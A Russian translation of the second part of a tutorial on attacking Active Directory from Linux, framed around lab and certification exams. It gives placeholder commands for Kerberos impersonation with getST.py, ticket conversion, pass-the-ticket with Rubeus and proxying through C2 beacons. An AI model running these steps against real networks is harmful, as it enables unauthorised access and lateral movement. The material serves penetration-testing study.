Статья Искусство взлома Active Directory с Linux (2 часть)

[wesskibo]

Вторая часть статьи, в одну все не поместилось!

Первоисточник: https://gatari.dev/posts/the-art-of-exploiting-ad-from-linux/#linux---windows
Перевел: wesskibo для xss.pro
ПЕРЕД ОЗНАКОМЛЕНИЕМ ОБЯЗАТЕЛЬНО ПРОЧИТАЙТЕ ПЕРВУЮ ЧАСТЬ: threads/125568/
Linux -> Windows

Аналогично, мы можем выполнить ту же атаку, но на стороне Linux; затем мы передадим тикет в Windows, чтобы убедиться, что он работает

getST.py -spn [delegated_spn] -impersonate [user_with_local_admin] [controlled_principal] -hashes :[rc4]

Мы можем проверить, что наш тикет работает с помощью
nxc

nxc smb [IP/FQDN] --use-kcache

Существует 2 варианта переноса этого тикета в Windows:

1. Преобразование .ccache в .kirbi и ссылка на него в Rubeus.exe ptt /ticket:[ticket.kirbi]
   Требует сохранения тикета на диск, может быть сложно, если у вас нет C2
   
   
2. Преобразование .ccache в .kirbi, затем Base64-кодирование и ссылка на него в Rubeus.exe ptt /ticket:[base64_ticket]
   Если вы используете C2, длина тикета может вызвать проблемы с длиной аргументов в зависимости от протокола вашего C2.

Я продемонстрирую второй метод здесь, так как он немного более запутанный, и читатели могут быть с ним не знакомы.

ticketConverter.py ticket.ccache ticket.kirbi

cat ticket.kirbi | base64 -w 0

Импортируйте тикет на Windows с помощью команды: Rubeus.exe ptt /ticket:[base64_ticket]

Мы можем увидеть, что наш тикет был успешно импортирован с Rubeus.exe klist

Мы можем проверить, что наш тикет работает, перечислив доступные ресурсы на целевой машине, хотя, оглядываясь назад, проверка ADMIN$ была бы лучшим выбором

ls //[IP/FQDN]/c$

Почему не стоит проводить атаки из Linux​

Как уже упоминалось, инструменты на Linux не так стабильны, как вы могли бы ожидать. Это связано с тем, что большинство инструментов являются проектами, управляемыми сообществом, и не так хорошо поддерживаются, как их аналоги на Windows.

Кроме того, в этом блоге активно использовались инбанд-прокси-сокеты и proxychains для проксирования команд через рабочую станцию. Это может быть непрактично в реальных условиях, так как инбанд-прокси-сокет фактически заставляет маяки постоянно работать в interactive режиме или в режиме sleep 0, так как любое время ожидания может привести к сбоям в работе некоторых протоколов.

Чек-лист и FAQ

Вопрос: Почему я цензурирую тикеты Kerberos, которые истекут к моменту выхода этого поста?
Ответ: В некоторых случаях тикеты могут быть сломаны, и я не хочу иметь проблем.

Proxychains​

Эта обертка просто проксирует остальные ваши команды через Socks5-прокси, определенные в /etc/proxychains4.conf. Когда вы запускаете socks5-прокси Sliver, он по умолчанию открывает порт 1081 на машине оператора.

Удаленные подключения будут выглядеть следующим образом: getST.py -> 127.0.0.1:1081 -> WKSTN-1 (BEACON) -> WKSTN-2.

Это эффективно позволяет вам получить доступ к внутренним хостам через маяки, однако, как уже упоминалось, требует, чтобы маяк работал в interactive режиме или в режиме sleep 0.

Base64 -> .kirbi -> .ccache​

Когда вы создаете или запрашиваете тикеты с помощью Rubeus, обычно вы получаете тикеты в stdout в формате base64 (kirbi). В качестве альтернативы вы можете указать /outfile, и обертка в base64 будет пропущена.

Если вы хотите перенести это на Linux, вам нужно либо закодировать его в base64 и скопировать на Linux, либо скачать файл .kirbi через сеть.

Windows -> Linux​

echo "doI...[snip]..." | base64 -d  > ticket.kirbi && ticketConverter.py ticket.kirbi ticket.ccache && export KRB5CCNAME=ticket.ccache

nxc smb [...] --use-kcache
impacket*.py -k -no-pass

unset KRB5CCNAME

Linux -> Windows​

Некоторые инструменты сохранят полученный тикет в виде используемого файла .ccache, другие — в формате .kirbi; используйте интуицию. Я рекомендую использовать describeTicket.py, чтобы проверить ваш .ccache перед попыткой использовать его в Windows, так как вы можете получить невообразимые ошибки.

Команда для base64 выполняется с флагом -w 0, чтобы исключить переводы строк при кодировании файла .kirbi.

impacket*.py [...]
ticketConverter.py ticket.ccache ticket.kirbi

cat ticket.kirbi | base64 -w 0

execute-assembly -i Rubeus.exe ptt /ticket:doI...[snip]...
execute-assembly -i Rubeus.exe ptt /ticket:ticket.kirbi

execute-assembly -i Rubeus.exe klist

Команда execute-assembly выполняется с флагом -i из-за ограничения по количеству символов в версии execute-assembly beacon.

Флаг -i заставляет beacon запускать сборку встроенно; будьте осторожны при использовании этого флага, так как он может вызвать сбой beacon, если в сборке произойдет ошибка.

Если вы не можете передать base64-тикет в Rubeus.exe ptt из-за других ограничений, вы можете просто сохранить .kirbi на диск и сослаться на него с помощью Rubeus.exe ptt /ticket:[ticket.kirbi].

ЗАКЛЮЧЕНИЕ!

Я предпочитаю проводить все атаки с Linux, а также использовать тикеты для выполнения латерального движения в сети именно с Linux. Эти мнения относятся исключительно к лабораторной или экзаменационной среде, где приоритет отдается скорости, а не скрытности.

Эти взгляды не отражают мое мнение о реальных тестах на проникновение, где скорость не является критичным фактором.

В контексте решения лабораторных задач и экзаменов быстро и просто, вот основные причины, почему я предпочитаю проводить атаки с Linux:

• Проблема двойного прыжка Kerberos
  В этой среде проблема больше не существует.
  
  
• Режим ограниченного языка PowerShell (CLM)
  В большинстве случаев это тоже уже не проблема.
  
  
• Антивирусная защита
  Нет необходимости надеяться, что ваш execute-assembly обойдет антивирусную защиту.
  
  
• Отладка
  Вы можете модифицировать исходный код своих инструментов без необходимости их перекомпиляции!
  
  
• Стабильность
  Лабораторные рабочие станции крайне нестабильны, и вам не придется гадать, связана ли проблема с лабораторией, с вашими инструментами или с Windows.
  
  
• Скорость
  Все вышеперечисленные моменты способствуют ускорению атак с Linux.

Тем не менее, теоретически атаки с Linux не быстрее, чем с Windows; более того, обычно наоборот. Однако из моего опыта, основная часть времени на атаки в окружении Active Directory тратится именно на отладку, а не на сами атаки.

Для справки, я завершил экзамены CRTP и CRTE за 1 час и 3 часа соответственно, и связываю это с тем, что я мог намного быстрее решать вопросы отладки с Linux.